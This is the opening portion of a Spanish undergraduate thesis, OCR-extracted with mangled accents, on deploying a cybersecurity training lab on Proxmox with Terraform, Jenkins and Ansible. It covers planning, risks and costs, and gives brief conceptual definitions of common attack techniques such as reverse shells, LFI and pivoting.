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Resumen

En la actualidad, el incremento de la virtualizacién de la informacién y la integraciéon de la tecnologia

en la sociedad nos mantiene conectados a la red, generando posibles amenazas de ataques cibernéticos.

El presente proyecto fin de grado aborda la creacién de un entorno de entrenamiento en cibersegu-
ridad, utilizando herramientas de infraestructura como cédigo y automatizacion en una plataforma de

virtualizacién.

El objetivo principal consiste en el despliegue automatizado y orquestado mediante Jenkins de una
infraestructura declarativa del hardware con Terraform, totalmente virtualizada en Proxmox, compuesta
de maquinas virtuales y contenedores. Ademas, se realizara una configuracién de software de cada maquina

del entorno mediante Ansible para construir escenarios cibernéticos realistas de entrenamiento.

Se llevara a cabo una simulacién de un ejercicio para probar la eficacia de estos entornos de entrena-

miento, utilizando la infraestructura desplegada y configurada.

Los entornos de entrenamiento en ciberseguridad pueden concienciar sobre cémo actuar ante posibles

amenazas, como evitarlas e incluso como abordar contramedidas ante posibles ataques futuros.

Palabras clave

DevOps, IaC, Ciberseguridad, Infraestructura, Automatizacién, Virtualizacién.

Abstract

Nowadays, the increasing virtualisation of information and the integration of technology in society

keeps us connected to the network, generating possible threats of cyber attacks.

This final degree project deals with the creation of a cyber security training environment, using

infrastructure tools such as code and automation on a virtualisation platform.

The main objective is the automated and orchestrated deployment using Jenkins of a declarative
hardware infrastructure with Terraform, fully virtualised on Proxmox containing virtual machines and
containers. In addition, a software configuration of each machine in the environment will be performed

using Ansible to build realistic cyber-training scenarios.

A simulation exercise will be conducted to test the effectiveness of these training environments, using

the deployed and configured infrastructure.

Cybersecurity training environments can raise awareness on how to act against potential threats, how

to avoid them and even how to address countermeasures against possible future attacks.
Key words

DevOps, IaC, Cybersecurity, Infrastructure, Automation, Virtualization.
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Capitulo 1

Introduccién y planificaciéon

El panorama de la ciberseguridad contemporianea demanda constantemente nuevas estrategias y he-
rramientas para abordar los desafios emergentes. En este contexto, la capacitaciéon y el entrenamiento
en entornos realistas son cruciales para preparar a los profesionales de la ciberseguridad para enfrentar
amenazas cada vez mas complejas. La adopcion de infraestructura como codigo (IaC) se ha convertido
en una practica comin para automatizar la gestion de la infraestructura de TI, proporcionando agilidad

y consistencia en la implementacién y configuracién de entornos.
1. Justificacion del proyecto

La creciente sofisticacién de los ciberataques y la constante evolucion de las amenazas digitales a dado
como resultado a la necesidad de contar con profesionales capacitados en ciberseguridad. La formacién
tradicional basada en teoria a menudo resulta insuficiente para preparar a las personas ante escenarios
complejos y realistas. Por esta razén, la creacién de entornos virtualizados que emulen situaciones de

ataque y defensa se ha convertido en una estrategia educativa esencial.

La utilizacién de infraestructura como cédigo (IaC) y herramientas de automatizacién en la creaciéon
de entornos virtualizados para el entrenamiento en ciberseguridad ofrece multiples beneficios. La IaC
permite la automatizacién y consistencia en el despliegue y configuracion de infraestructuras complejas,
lo que resulta fundamental para replicar escenarios realistas y dinamicos que simulan ataques y defensas

en un entorno controlado.
2. Objetivos

Este trabajo de fin de grado tiene por objetivo la utilizacién de las herramientas IaC y automati-
zacion: Terraform, Jenkins y Ansible para generar entornos de Virtualizacion, concretamente Proxmox,
destinados al entrenamiento en ciberseguridad mediante la creacién de escenarios completos que incluyan
redes, firewalls, servidores, aplicaciones y equipos de atacantes, proporcionando una plataforma versatil
y realista para la formacién y préactica de habilidades en ciberseguridad. Complementando con la puesta

en practica de un ejercicio a plantear para verificar la eficacia del proyecto.
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1. Introduccién y planificacién

2.1.

Tareas

Gestionar versiones y cambios de la infraestructura: Se implementara un sistema de con-
trol de versiones en GitHub para gestionar el cédigo de Jenkins, Terraform, Ansible y los scripts
de configuracién, asegurando la trazabilidad y la reversibilidad de los cambios realizados en la

infraestructura.

Integrar Jenkins para la automatizacién del flujo de trabajo: Jenkins se utilizard para
orquestar y automatizar el proceso de despliegue de la infraestructura y la gestion de configuraciones.
Se configuraran pipelines de CI/CD que permitan la integracién continua y la entrega continua de

cambios en la infraestructura y las configuraciones.

Investigar el uso de Terraform para la gestiéon de infraestructura en sistemas de virtua-
lizacion: Se realizard un andlisis exhaustivo del funcionamiento de Terraform y su integracién con
proveedores de servicios de virtualizacién, centrandose especialmente en Proxmox como plataforma

de despliegue.

Disenar y desplegar infraestructura en Proxmox con Terraform: Se disefiara una arqui-
tectura de referencia que incluya la configuracién de redes, seguridad, maquinas virtuales QEMU
y contenedores LXC en Proxmox utilizando Terraform, estableciendo las bases para la generacion

automatizada de entornos de entrenamiento en ciberseguridad.

Investigar el uso de Ansible para la configuracién de la infraestructura en sistemas de
virtualizacion: Se realizard un andlisis exhaustivo del funcionamiento de Ansible y su integracion

en el entorno de virtualizacion Proxmox.

Implementar Ansible para la gestiéon de configuraciones: Se configurard una maquina virtual
dentro del entorno Proxmox desplegado, que actuard como nodo de control Ansible para administrar

la configuracion de los hosts y servicios dentro de la infraestructura generada.

Realizar pruebas y validaciones del proceso automatizado: Se llevardn a cabo pruebas
exhaustivas para verificar la funcionalidad, seguridad y escalabilidad del proceso de despliegue y
gestion de configuraciones automatizado, identificando y corrigiendo posibles fallos y mejoras en el

flujo de trabajo.

Realizar simulaciones de los ejercicios configurados: Se llevaran a cabo simulaciones para

verificar la funcionalidad y eficacia de los ejercicios configurados en el proyecto.

17



1. Introduccién y planificacién

3. Planificacién proyecto

3.1. Metodologia

La metodologia empleada para abordar este proyecto ha sido Kanban.

Kanban es una método de gestion de proyectos, dentro de la metodologia agil, que utiliza un
sistema visual para controlar el flujo de trabajo y mejorar la eficiencia. Se implementa mediante un
tablero dividido en columnas que representan diferentes estados de las tareas: Por Hacer (To Do), En
Progreso (In Progress), Revisién (Review) y Hecho (Done). Cada tarea se representa con una tarjeta

que se mueve a través de estas columnas a medida que avanza el proyecto.

Para llevar a cabo este método, se ha empleado Trello, ya que es una herramienta gratuita e intuitiva
de usar, la cual se ha manejado con anterioridad en proyectos previos, permitiendo garantizar una exitosa

aplicacién de este método.

El método Kanban presenta una serie de ventajas en la realizacién del proyecto:

= Visualizacién del Trabajo: uso de un tablero con tarjetas que representan tareas, proporcionando

una visién clara y actualizada del estado del proyecto.

= Limitacién del Trabajo en Progreso: control de la cantidad de tareas que se pueden realizar

simultdneamente para evitar la sobrecarga y mejorar la calidad.

= Flujo Continuo: enfoque en la mejora constante del flujo de trabajo para optimizar la eficiencia

y la entrega de tareas.

= Flexibilidad y Adaptabilidad: capacidad para ajustarse a cambios en los requisitos o prioridades

del proyecto de manera agil y eficiente.

TFG ¥ A& Visible para el Espacio de trabajo [REUNENEGE Vv

Por Hacer e En Progreso e Revision

- - -
Configuracién Terraform médulo 1 Redaccion memaoria Planteamiento médulo 1 Propuesta TFG

B 0/4
- -— L]

Configuracion Jenkins Investigacién Jenkins Investigacién Entorno

-—
Configuracion Ansible médulo 1 & 12

-
& 0/3 Configuracion MV proyecto
. + Afiade una tarjeta [=
Configuracién Proxmox

Simulacion médulo 1 &4 3/5

+ Afiade una tarjeta + Afiade una tarjeta

Investigacién Proxmox

-——
Configuracién repositorio GitHub

+ Afiade una tarjeta

Figura 1.1: Kanban en Trello
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3.2. Actividades

En este apartado se describen las actividades que se llevaran a cabo durante el proyecto, utilizando el
sistema Kanban para su gestién y organizacion. La duracién estimada del proyecto data desde el 12 de
febrero de 2024 hasta 7 de julio de 2024.

Las tareas y subtareas estdn organizadas por su identificacion (ID), lo que facilita su seguimiento
y dependencia entre ellas. Las actividades incluyen Gestién General (G), Investigacion (I), Configura-

cién (C), Planteamiento (P) y Simulacién (S). A continuacién, se presenta una vision general de las

actividades, destacando las principales categorias y sus respectivas subtareas.

ID Tarea Subtarea Dependencias
G-001 | Propuesta TFG - -
G-002 | Redaccién memoria - G-001
1-001 Investigacion Entorno - G-001
C-001 | Configuracién repositorio GitHub - -
C-002 Crear VM en VirtualBox
Instalar Jenkins
Configuracién MV proyecto Instalar Terraform 1-001, C-001
Instalar Visual Studio Code
Sincronizar Visual Studio Code con GitHub
1-002 Investigacion Proxmox Leer documer?tacién oficial 1001
Ver guias bésicas
1-003 Leer documentacién oficial
Investigacién Jenkins Ver guias bésicas C-002
Implementar un pipeline simple
1-004 Leer documentacién oficial
Investigacién Terraform Crear un archivo de configuracién bésico C-002
Implementar un despliegue simple
1-005 Leer documentacién oficial
Investigacién Ansible Ver guias basicas C-002
Configurar un playbook simple local
€-003 Configuracién Jenkins Conﬁgu.rar .plugins C-002
Crear pipeline proyecto
C-004 Configurar un puente de red
Configuracién Proxmox Instalfa,r Ansible en el NOdO. - G-001
Creacién fichero configuracién general Ansible
Configuracién interna Nodo
Creacién y configuracién usuario Terraform
P-001 | Planteamiento mdédulo 1 - C-004, C-002
C-005 Escoger API Proxmox
Configuraciéon Terraform médulo 1 Crear ﬁche.ros conﬁguraciérhl béSiCOS. - P-001
Configuracién fichero despliegue principal
Probar despliegue unitario
C-006 Inclusién IPs en fichero hosts
Configuracién Ansible médulo 1 Configuracién playbook P-001
Pruebas unitarias
S-001 Simulacién médulo 1 - C-006, C-005

Cuadro 1.1: Tareas Kanban
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4. Riesgos del proyecto

Se procede a representar, mediante tablas, los riesgos que este proyecto pueden llegar a surgir, junto

a sus respectivas mitigaciones para poder llevarlo a cabo exitosamente.

Estos riesgos seran basados mediante una métrica de Impacto sobre la entrega del proyecto y como
afectarian para la realizacién del mismo, asi como una métrica de Probabilidad que ocurran estos
riesgos. Las escalas de las métricas se compondra de los valores Bajo, Medio, Alto y Muy alto, tal y
como se puede observar en la figura

4.1. Riesgos

Nivel impacto

Descripcién

Nivel probabilidad

Descripcién

Muy alto

La ocurrencia del riesgo causaria
un impacto critico en el proyecto,
con consecuencias muy graves que
pueden incluir la imposibilidad de
cumplir con los objetivos principa-
les del proyecto

Muy alto

Es casi seguro que este riesgo ocu-
rra. (75 % - 100 %)

El impacto del riesgo es significati-
vo y podria retrasar seriamente el
cronograma del proyecto

Es muy probable que este riesgo
ocurra. (50% - 74 %)

medio

La materializacién del riesgo ten-
dria un impacto moderado en el
proyecto, causando retrasos o cos-
tos adicionales manejables.

medio

Existe una posibilidad moderada
de que este riesgo ocurra. (25% -

49%)

bajo

El impacto del riesgo seria menor
y facilmente manejable.

bajo

Es poco probable que este riesgo
ocurra (0% - 24 %)

Cuadro 1.2: Leyenda impacto y probabilidad

Los riesgos previstos que ocurran durante el proyecto son los siguientes:

ID Categoria Nombre Impacto | Probabilidad
RO0O01 | Infraestructura y mantenimiento Interrupcién servicio Proxmox Muy alto bajo
R002 | Infraestructura y mantenimiento Conflicto entre herramientas medio
R003 | Infraestructura y mantenimiento Conflicto conexiones APIs Muy alto
R004 | Infraestructura y mantenimiento Méquina virtual trabajo inaccesible medio medio
R0O05 | Infraestructura y mantenimiento Pérdida cédigo proyecto bajo
R006 | Infraestructura y mantenimiento Imposibilidad de emplear méaquinas bajo medio

virtuales QEMU
R0O07 | Infraestructura y mantenimiento Mala escalabilidad bajo
R0O08 | Legal Copyright fotos externas empleadas bajo medio
R009 | Dimensién Humana Burnout alumno Muy alto
R010 | Dimensién Humana Problemas de salud leves medio bajo
RO11 | Planificacién Mala planificaciéon medio medio
RO012 | Planificacién Excesiva carga de trabajo
R013 | Entorno trabajo Silos de informacién medio medio
RO014 | Calidad de Software Ratio alto de bugs medio

Cuadro 1.3: Riesgos proyecto
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4.2.

Mitigaciones

Una vez descritos los posibles riesgos, procedemos a comentar las mitigaciones a estos riesgos:

ID

Categoria

Nombre

Mitigacién

R001

Infraestructura y mantenimiento

Interrupcién servicio Proxmox

Los técnico de la escuela tienen una
muy buena solvencia para indicen-
dias en su infraestructura, pudien-
do tener backups y rapida disponi-
bilidad de la misma.

R002

Infraestructura y mantenimiento

Conflicto entre herramientas

Se ha garantizado que las herra-
mientas seleccionadas tengan la ca-
pacidad necesaria para llevar a ca-
bo el proyecto sin conflictos entre
si.

R003

Infraestructura y mantenimiento

Conflicto conexiones APIs

Se ha asegurado una variedad de
APIs capaces de llevar a cabo las
funciones necesarias para el pro-
yecto, minimizando la probabili-
dad de conflictos.

R004

Infraestructura y mantenimiento

Maquina virtual trabajo inaccesible

Se realizan copias de respaldo pa-
ra evitar la pérdida de la estacién
virtual de trabajo en caso de inac-
cesibilidad.

R005

Infraestructura y mantenimiento

Pérdida cédigo proyecto

Se utiliza un repositorio en la nube
para almacenar el cédigo del pro-
yecto y garantizar su disponibili-
dad y respaldo.

R006

Infraestructura y mantenimiento

Imposibilidad de emplear méaquinas

virtuales QEMU

Se cuenta con la solvencia suficien-
te para emplear Ginicamente conte-
nedores en Proxmox para abordar
el proyecto.

R0O07

Infraestructura y mantenimiento

Mala escalabilidad

Proxmox ofrece una gran escalabi-
lidad de sus infraestructuras, y la
universidad tiene la capacidad para
proporcionar esa escalabilidad se-
gun sea necesario.

R008

Legal

Copyright fotos externas empleadas

Se utiliza contenido con licencia
para el uso libre y se crea conteni-
do propio para evitar infracciones
de derechos de autor.

R009

Dimensién Humana

Burnout alumno

Se lleva a cabo una buena ges-
ti6n de los tiempos invertidos para
la realizacién semanal y diaria del
proyecto, evitando la sobrecarga de
trabajo.

RO10

Dimensiéon Humana

Problemas de salud leves

Se tiene la posibilidad de emplear
el teletrabajo para adaptarse a las
necesidades del alumno en caso de
problemas de salud leves.

RO11

Planificacién

Mala planificacién

Se lleva a cabo una buena gestiéon
de las fechas de trabajo para la rea-
lizacién de las distintas partes del
proyecto, asegurando un flujo de
trabajo eficiente.

R0O12

Planificacion

Excesiva carga de trabajo

Se compensan las tareas del pro-
yecto para evitar acumulaciones de
trabajo de alta carga en periodos
cortos, distribuyendo de manera
equitativa las responsabilidades.

RO13

Entorno trabajo

Silos de informacién

Se utiliza un repositorio centraliza-
do en la nube para gestionar la in-
formacién de manera centralizada.

R014

Calidad de Software

Ratio alto de bugs

Se cuenta con la capacidad del
alumno para investigar y realizar
pruebas previas del cédigo y la in-
fraestructura a desplegar, minimi-
zando la aparicién de errores y ase-
gurando la calidad del software.

Cuadro 1.4: Mitigacion riesgos
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5. Costes del proyecto

Para este proyecto se ha realizado un calculo de los costes totales que ha supuesto llevarlo a cabo,

incluyendo todo el material, las licencias de las herramientas y la mano de obra empleada.

Los costes se derivan principalmente de la mano de obra del alumno. Se estima una duraciéon del
proyecto de 21 semanas, dedicando una media de 20 horas semanales. El sueldo promedio de un ingeniero
informatico junior es de aproximadamente 12.67€/hora basdndonos en los datos proporcionados por

Talent.com [40], resultando en un coste de mano de obra de 5.321,4€.

Por otra parte, los dispositivos informéaticos necesarios para este proyecto incluyen un ordenador
personal para trabajar en el proyecto y redactar la memoria técnica, con un coste de 600€. Ademas,
se utilizo un servidor, cedido por la universidad, para virtualizar el proyecto. Este servidor, con sus
especificaciones descritas en Proxmox [E] tiene un valor aproximado de 4.597€ sin contar la electricidad

empleada durante el periodo activo del mismo, debido a no tener acceso a datos de consumo eléctrico.
» El precio de la CPU se ha consultado en Intel [20].
» El precio general de la RAM se ha consultado y estimado en Mercado actual [2].
» El precio general del almacenamiento se ha consultado y estimado en Mercado actual [1].
En cuanto a las herramientas, no se ha tenido que pagar por ninguna de las empleadas. Por lo tanto,

dentro de este apartado se pueden descartar los costes por uso de herramientas para el proyecto.

La tabla proporciona un desglose total y visual de los costes.

Item Descripcién Precio/Unidad | Unidades Total
Ingeniero informatico junior | Costo del ingeniero informético 12,67€/h 420 h 5.321,4€
junior para el proyecto
Servidor Costo aproximado servidor de 2.236€ 2 4.472€
virtualizacion CPU, RAM y al-
macenamiento respectivamente
75€ 1 75€
50€ 1 50€
Ordenador Proyecto Costo del ordenador para el pro- 600€ 1 600€
yecto
Proxmox Costo de la licencia Proxmox 0€ 1 0€
Trello Costo de la herramienta trello 0€ 1 0€
GitHub Costo de la herramienta GitHub 0€ 1 0€
Jenkins Costo de la herramienta Jenkins 0€ 1 0€
Terraform Costo de la herramienta Terra- 0€ 1 0€
form
Ansible Costo de la herramienta Ansible 0€ 1 0€
Overleaf Costo de la herramienta Overleaf 0€ 1 0€
Total 10.518,4€

Cuadro 1.5: Costes proyecto
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6.

Estructura de la memoria

Capitulo 1: Introduccién y planificacién

Introduccién al objetivo principal del TFG, proporcionando una vision general del proyecto y su
relevancia en el campo de la ciberseguridad. Ademas, se describira la planificacién de las actividades,

metodologia empleada, riesgos y su mitigacién junto a los objetivos y costes del proyecto.

Capitulo 2: Estado del Arte

Marco tedrico que contextualiza el proyecto dentro del ambito de la ciberseguridad e IaC. Se pre-
sentaran los conceptos fundamentales sobre la IaC, Automatizacion, virtualizacién y las técnicas de
ataque en ciberseguridad. También se describiran las herramientas y tecnologias que se utilizardn

en el proyecto, proporcionando una base tedrica sélida para su implementacion practica.
Capitulo 3: Descripcion flujo de despliegue
Explicacién sobre el flujo del despliegue seguido de la infraestructura, desde como el programa-

dor crea el cédigo hasta que las méaquinas son configuradas automaticamente en el entorno de

virtualizacién.

Capitulo 4: Planificacion de ejercicios

Descripcién de la creacién de un ejercicio practico disenado para poner en marcha el proyecto.
Se especificardn los objetivos del ejercicio, los escenarios de ataque que se simulardn, y cémo se
utilizaran las herramientas Terraform y Ansible para crear un entorno realista de ciberseguridad.

Ademaés, se detallard el proceso para desplegar y finalizar los ejercicios.

Capitulo 5: Simulacion de ejercicios

Simulacién del ejercicio desarrollado en el capitulo 4. Se detallara el proceso de ejecuciéon de los

ejercicios de ciberseguridad, tomando el papel de un usuario atacante.

Capitulo 6: Conclusiones

Resumen de las conclusiones obtenidas a lo largo del proyecto. Se reflexionara sobre los logros

alcanzados, dificultades y trabajo futuro del proyecto.
Bibliografia
Referencias bibliograficas empleadas para la realizacion y estudio del proyecto. Se presentara de ma-

nera ordenada y conforme a las normas de citacién académica, garantizando la correcta atribucién

de fuentes y la integridad académica.
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= Anexo

En el anexo se proporcionara el cédigo fuente desarrollado durante el proyecto.

= Apéndice

El apéndice incluird proporcionara guias detalladas para la instalacion y configuraciones esenciales

de las herramientas empleadas en el proyecto.
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Capitulo 2

Estado del arte

En esta seccion se explorara la terminologia y los conceptos fundamentales que sustentan las tecnologias

y herramientas empleadas en el despliegue de infraestructuras de ciberseguridad.

1. Conceptos fundamentales

1.1. Infraestructura como Cédigo (IaC)

La Infraestructura como Cédigo (IaC) es una préctica en la que la infraestructura de T1 se gestiona y
aprovisiona mediante archivos de configuracion legibles por maquina, en lugar de configuraciones manuales
o herramientas de gestion interactiva. Esto implica crear archivos de configuracién que contienen las
especificaciones necesarias para la infraestructura, lo que facilita su edicién y distribucién. Al codificar
las especificaciones de la infraestructura, se garantiza que siempre se preparara el mismo entorno, lo que

mejora la consistencia y reduce los errores humanos.

Ademas, la IaC codifica y documenta las especificaciones de manera clara, lo que facilita la gestién de
la configuracion y ayuda a evitar cambios Ad hoc y no documentados. El uso del control de versiones es
esencial para el seguimiento y la gestién de los archivos de configuracion, lo que asegura la trazabilidad

y facilita la colaboracién entre equipos.

Otro beneficio clave de la IaC es su capacidad para dividir la infraestructura en elementos modulares,
que luego pueden combinarse de diversas formas segin sea necesario mediante la automatizacion. Esto
proporciona flexibilidad y agilidad en la gestion y escalabilidad de la infraestructura, lo que es fundamental

en entornos modernos de desarrollo y operaciones de T1.
1.1.1. Codigo declarativo e imperativo

La infraestructura como cédigo (IaC) ofrece dos enfoques principales:

= Declarativo: se define el estado deseado de los sistemas, especificando los recursos necesarios y
sus propiedades. La herramienta de IaC se encarga de configurar la infraestructura para alcanzar
ese estado. Ademaés, proporciona una visién clara del estado actual de los objetos del sistema, lo

que facilita el desmontaje de la infraestructura.

= Imperativo: implica la definicién de comandos especificos para lograr la configuracién deseada, los
cuales deben ejecutarse en un orden preciso. A diferencia del enfoque declarativo, donde se describe

qué se quiere lograr, el enfoque imperativo se centra en cémo lograrlo.
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1.1.2. Ventajas de IaC

= Reduccién de costos: al automatizar los procesos de configuracién de la infraestructura, se
elimina la necesidad de realizar tareas manuales, lo que permite al equipo enfocar sus esfuerzos en

actividades més estratégicas, reduciendo asi los costos operativos.

= Velocidad: agiliza la configuracién de la infraestructura, permitiendo una ejecucién mas rapida de

los procesos.

= Reduccion del riesgo : la automatizacién elimina el riesgo de errores humanos, como la confi-
guracién incorrecta manual. Esto minimiza el tiempo de inactividad y aumenta la fiabilidad de los

sistemas al evitar problemas asociados con errores humanos.

s Testeo: facilita el testeo de las aplicaciones en entornos de producciéon al principio del ciclo de

desarrollo, lo que permite identificar y corregir problemas de manera mas temprana y eficiente.

= Rendicién de cuentas: la automatizacién elimina el riesgo de errores humanos, como la confi-
guracién incorrecta manual. Esto minimiza el tiempo de inactividad y aumenta la fiabilidad de los

sistemas al evitar problemas asociados con errores humanos.

= Consistencia de la configuracion: estandariza completamente la configuracion de la infraes-
tructura, reduciendo las posibilidades de errores y desviaciones, y garantizando un funcionamiento

mas fluido de las aplicaciones al evitar problemas de incompatibilidad.

= Documentacion: sirve como una forma de documentacién de la configuracion de la infraestructura,
permitiendo un registro y seguimiento completo de los cambios realizados. Ademas, al ser controlado

por versién, facilita la prueba y la documentacién de cada cambio.

= Seguridad mejorada: la [aC asegura que los estandares de seguridad se desplieguen de manera
consistente en toda la infraestructura, reduciendo la posibilidad de fallos de seguridad al eliminar

la variabilidad en la implementacion de politicas de seguridad.

1.2. Automatizacion

La automatizacién es el uso de la tecnologia para realizar tareas para evitar la intervencién humana.
Se puede implementar en cualquier sector en el que se lleven a cabo tareas repetitivas, asi como en los

sistemas de TI.

Cualquier tarea de TI es automatizable empleando los recursos necesarios, por lo tanto, la auto-
matizacién puede incorporarse y aplicarse a cualquier elemento, como la automatizacién de la red, la
infraestructura, la preparacién de la nube, los entornos operativos estdndares (SOE) e incluso la gestién

de la configuracion y la implementacion de aplicaciones.

Las aplicaciones y las funciones de la automatizacién pueden abarcar tecnologias mas especificas, como
los contenedores; metodologias, como DevOps, y areas mas amplias, como la nube, el edge computing, la

seguridad, las pruebas y la supervision o las alertas.
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1.2.1. Ventajas

La automatizacién trae consigo unas ventajas a la hora de aplicarse:
= Dejar de realizar tareas sencillas y repetitivas.

= Personal mas productivo, centrado en tareas méas complejas e importantes.

1.3. Virtualizacion

La virtualizacién es una tecnologia que permite crear versiones virtuales de recursos informaticos, como
servidores, redes, almacenamiento o sistemas operativos. Estas versiones virtuales se comportan como si
fueran recursos fisicos independientes, pero en realidad estan compartiendo los recursos subyacentes de

hardware de una maquina fisica o servidor host.

1.3.1. Hipervisor

La virtualizacién se logra mediante el uso de software especializado llamado hipervisor o monitor de
maquina virtual, que permite la creacion, ejecucién y gestiéon de multiples entornos virtuales en un tnico

hardware fisico.

El hipervisor puede ser de dos tipos:
= Tipo 1: el sistema de virtualizacion se crea desde cero, directamente sobre el hardware.

= Tipo 2: ejecutar el sistema de virtualizacion por encima del S.O, creando maquinas virtuales

hospedadas, siendo el Hipervisor el encargado de su gestion.

1.4. Ciberseguridad

La ciberseguridad se define como el conjunto de practicas, tecnologias y procesos destinados a proteger
sistemas, redes y datos frente a ataques cibernéticos. Su objetivo principal es asegurar la confidenciali-
dad, integridad y disponibilidad de la informacion, defendiendo los activos digitales contra accesos no
autorizados, alteraciones y destrucciones. Este campo abarca multiples dreas, incluyendo la proteccion
de infraestructuras criticas, la seguridad de aplicaciones, la gestién de identidades y accesos, y la defensa

contra amenazas avanzadas.

1.4.1. Redireccién de puertos

La Redirecciéon de puertos es una técnica utilizada en redes para permitir que un dispositivo externo
acceda a servicios de una red interna. Esto se logra redirigiendo el trafico desde un puerto de una
direccién IP publica a un puerto de una direccién IP privada dentro de la red interna. Esta técnica es
comunmente utilizada en configuraciones de routers y firewalls para permitir el acceso remoto a servicios
como servidores web, servidores de correo o aplicaciones especificas sin exponer directamente el dispositivo

interno.

27



2. Estado del arte

1.4.2. Shell inversa

Una shell inversa es un tipo de conexién de red donde el objetivo (la maquina victima) se conecta de
vuelta a la maquina atacante, otorgando acceso remoto al atacante. En lugar de que el atacante intente
conectarse directamente a la maquina victima (lo que podria ser bloqueado por firewalls), la victima
inicia la conexién, facilitando el Bypass de las restricciones de seguridad. Esta técnica es cominmente

utilizada en pruebas de penetracién para obtener acceso a sistemas comprometidos.

1.4.3. LFI (Local File Inclusion)

La inclusién de archivos locales (LFI) es una vulnerabilidad que permite a un atacante incluir archivos
del servidor web en la ejecuciéon de la aplicacion. Esto puede llevar a la exposicion de archivos confi-
denciales, la ejecuciéon de codigo arbitrario y otros comportamientos no deseados. LFI ocurre cuando la
aplicacién web permite a los usuarios especificar archivos a ser incluidos sin una validacién adecuada,

permitiendo asi a los atacantes manipular la entrada para incluir archivos del sistema local.

1.4.4. Escalar privilegios

La escalada de privilegios es una técnica utilizada por atacantes para obtener un nivel de acceso mas
alto del que originalmente disponian. En un ataque de escalada de privilegios, el atacante explota vulne-
rabilidades en un sistema para obtener permisos de usuario adicionales o acceder a recursos restringidos.
Esto puede implicar el paso de un usuario normal a un administrador del sistema, permitiendo al atacante

ejecutar acciones con mayores privilegios y control sobre el sistema.

1.4.5. Ejecucién de comandos remota

La ejecucion de comandos remota es una vulnerabilidad que permite a un atacante ejecutar comandos
arbitrarios en el sistema operativo que subyace a la aplicacién web. Esto se puede lograr a través de la
inyeccién de comandos en entradas de usuario no validadas adecuadamente. La ejecuciéon de comandos
puede resultar en el compromiso total del sistema, permitiendo al atacante realizar cualquier acciéon que

el usuario que ejecuta la aplicaciéon tenga permisos para realizar.

1.4.6. Ataque fuerza bruta

Un ataque de fuerza bruta es una técnica de hacking que intenta adivinar contrasenas o claves probando
todas las combinaciones posibles hasta encontrar la correcta. Este tipo de ataque puede ser muy efectivo

si las contrasenas utilizadas son débiles o no siguen las mejores practicas de seguridad.

1.4.7. Pivotaje

El pivotaje es una tactica empleada por los atacantes para avanzar lateralmente a través de una red
comprometida y acceder a recursos no directamente alcanzables desde su posicién inicial. Esto implica
usar un equipo comprometido como punto de salto para realizar més ataques dentro de la infraestructura
objetivo, lo que puede permitir a los atacantes expandir su acceso y llevar a cabo actividades maliciosas

como robo de datos o propagacién de malware.
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1.5. Control de versiones

El control de versiones, también conocido como gestién de cédigo fuente, utiliza herramientas para
realizar un seguimiento de las modificaciones o los cambios realizados en el cédigo fuente a lo largo del
tiempo. El control de versiones permite una colaboracién rapida y eficiente entre los desarrolladores y a
la vez conserva la integridad del cédigo. Eso permite que los equipos de desarrollo de software trabajen

sin temor de que se produzcan conflictos en el codigo.

1.6. Contenerizacion

La Contenerizacién es el empaquetado de cédigo de software con solo las bibliotecas de sistema ope-
rativo (S.0O) y las dependencias necesarias para ejecutar el c6digo para crear un tnico ejecutable ligero,
denominado contenedor, que se ejecuta de manera coherente en cualquier infraestructura. Proporciona

una abstraccién del S.O desacoplando la aplicacion que se ejecuta del S.O.

1.6.1. Ventajas

La contenizacién posee una gran variedad de ventajas referentes a su uso frente a un sistema de

virtualizacion tradicional, como puede ser una méaquina virtual.

= Portabilidad: los contenedores encapsulan las aplicaciones y todas sus dependencias en un tnico

paquete.

= Escalabilidad y eficiencia: los contenedores pueden iniciarse y detenerse rapidamente, lo que
los hace ideales para escenarios de escalabilidad automaética y despliegues rapidos. Ademds, los
contenedores pueden escalar tanto vertical como horizontalmente para satisfacer las demandas de

carga de trabajo cambiantes.

= Despliegue consistente: la contenedorizacién permite definir la infraestructura como codigo

(IaC), lo que facilita el despliegue consistente y repetible de aplicaciones en diferentes entornos.

2. Herramientas

2.1. Visual Studio Code

Visual Studio Code es un editor de cédigo fuente desarrollado por Microsoft, convirtiendose en una
herramienta esencial en proyectos de desarrollo, ofreciendo un entorno altamente adaptable y eficiente
para escribir y editar c6digo en varios lenguajes de programacién. Con caracteristicas como resaltado
de sintaxis, completado de codigo y depuracién integrada, facilita la gestién y mejora de la calidad del

codigo. Ademas, su capacidad para integrarse con servicios en la nube y herramientas de colaboracion.

2.2. GitHub

GitHub es una plataforma de desarrollo colaborativo que ofrece herramientas para alojar, revisar y
gestionar proyectos de software utilizando el sistema de control de versiones Git. Permite a los desa-
rrolladores trabajar juntos en proyectos, realizar un seguimiento de cambios en el cddigo, coordinar el
trabajo en equipo, y facilitar la colaboracién abierta en proyectos de codigo abierto. Con caracteristicas
como el control de versiones, seguimiento de problemas, solicitudes de extraccién, integraciéon continua y

despliegue automatizado.
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2.3. Jenkins

Jenkins es un servidor open source para la integracién continua y despliegue continuo. Es una herra-
mienta que se utiliza para compilar y probar proyectos de software de forma continua, lo que facilita a
los desarrolladores integrar cambios en un proyecto y entregar nuevas versiones a los usuarios.

2.3.1. Integracién continua (CI)

La integracion continua o Continuous Integration es una practica habitual en desarrollo de software
que consiste en integrar frecuentemente mejoras en el codigo de un proyecto una vez han sido validadas,

normalmente varias veces al dia, con el objetivo de detectar errores lo antes posible.

2.3.2. Implementacién continua/Despliegue continuo (CI/CD)

El despliegue continuo trata sobre cada cambio que realiza un desarrollador y se comprueba compilando
el codigo fuente, obteniendo un ejecutable build. Si es validado, serd incorporado al cédigo fuente y
desplegado.

2.3.3. ;Qué ofrece?

= Notificar a los equipos correspondientes la deteccién de errores.

Automatizar la compilacion y testeo de software.

Desplegar los cambios en el cédigo que hayan sido validados.

seguimiento de la calidad del codigo y de la cobertura de las pruebas.

Generar la documentacion de un proyecto.

2.4. Proxmox

Proxmox VE es una plataforma de virtualizacién de cédigo abierto que combina tecnologias de vir-
tualizacion de servidores, incluyendo QEMU para maquinas virtuales y contenedores basados en LXC.
Esta solucion integra herramientas de gestion centralizada para permitir una administracion eficiente y

flexible de infraestructuras de virtualizacion.

Con una interfaz web intuitiva, Proxmox VE facilita la gestion centralizada de recursos de hardware,
como CPU, memoria y almacenamiento, asi como la creaciéon, configuracion y supervision de maquinas
virtuales y contenedores. Ademaés, ofrece caracteristicas avanzadas como migraciéon en vivo, copias de
seguridad automatizadas, réplicas de maquinas virtuales y clustering de alta disponibilidad, asegurando

la estabilidad y continuidad del servicio en entornos de produccion.

2.4.1. LXC

